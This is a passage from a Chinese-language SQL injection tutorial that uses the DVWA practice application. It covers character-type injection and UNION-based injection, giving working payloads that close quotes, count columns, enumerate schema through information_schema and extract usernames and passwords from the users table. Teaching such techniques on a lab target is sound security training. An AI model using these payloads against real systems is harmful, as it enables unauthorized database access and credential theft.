SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2';
未做隐式转换的效果
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2;
如果满足以上三点,则可以判断该 URL 存在数字型注入。
4.2)字符型
当输入的参数为字符串时,称为字符型。
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
数字型语句:select * from table where id =3;
字符型如下:select * from table where name='admin';
因此,在构造 Payload 时 通过闭合单引号 可以成功执行语句:
实现了绕过被单引号包含的结局
尝试输入: 1' and 1=1 #
# 基于这种方法: 实现了绕过被单引号包含的结局
# 实现了在 SQL 语句层面, 输入的内容是两个正常的表达式.
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';
# 理想效果
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1;
# 闭合单引号
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1 #';
4.3)Union 注入 ( 联合查询注入 )
联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用 UNION 或 UNION ALL。 注意:UNION 操作符选取不重复的值。如果允许重复的值,请使用 UNION ALL
select user_id,first_name from users where user_id=1 union all select user_id,first_name from users where user_id=1;
select user_id,first_name from users where user_id=1 union select user_id,first_name from users where user_id=1;
推荐使用 UNION ALL,因为 UNION 会自动过滤掉字段内容重复的数据,这可能导致我们错过想查找的相关数据内容。
前提条件:页面存在显示位
MySQL 5.0 以上版本,存在一个自带的数据库名为:information_schema(重点)
information_schema 数据库中 **有三个表 **非常重要
schemata:表里包含所有数据库的名字
tables:表里包含所有数据库的所有表名,默认字段为 table_name
columns:表里包含所有数据库的所有表的所有字段名
三个列 非常重要
SCHEMA_NAME:数据库名
TABLE_NAME:表名
COLUMN_NAME:字段名
# 爆库名
select database();
select SCHEMA_NAME from information_schema.schemata;
select group_concat(SCHEMA_NAME) from information_schema.schemata;
# 爆表名
select TABLE_NAME from information_schema.tables where table_schema='dvwa';
select group_concat(TABLE_NAME) from information_schema.tables where table_schema='dvwa';
# 爆列名
select COLUMN_NAME from information_schema.columns where TABLE_NAME='users';
select group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users';
联合注入的过程:
判断注入点
判断是整型还是字符型
判断列数、判断显示位
获取所有数据库名
获取数据库所有表名、字段名、字段中的数据重
判断 列数、判断 显示位
通过 order by** 来 得知输出的结果有几列
通过 order by 来 判断列数
# 正常
1' order by 2#
通过 union all来 判断显示位
判断 select 查询语句的 字段个数 信息,用于与后边联合查询数量做匹配
# 确定显示位
1' union all select 1,2#
1' union all select 1,2,3#
爆出 **数据库名 **和 版本信息
select database()获得当前数据库名称
# 爆出数据库名和版本信息
1' union all select database(),version()#
# 爆出 dvwa 数据库中有 guestbook,users 两个表
1' union select 1,table_name from information_schema.tables where table_schema ='dvwa'#
# 加 group_concat() 函数
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'#
爆出 users 表字段
# 得到 users 表字段信息
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
# 加 group_concat() 函数
1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#
最终基于 我们得到的 数据库名称,数据库表名,数据库字段名
通过 联合查询 过滤到表中的 **用户名 **和 密码信息 ( 数据信息 )
# 得到用户名和密码
1' union select user,password from users#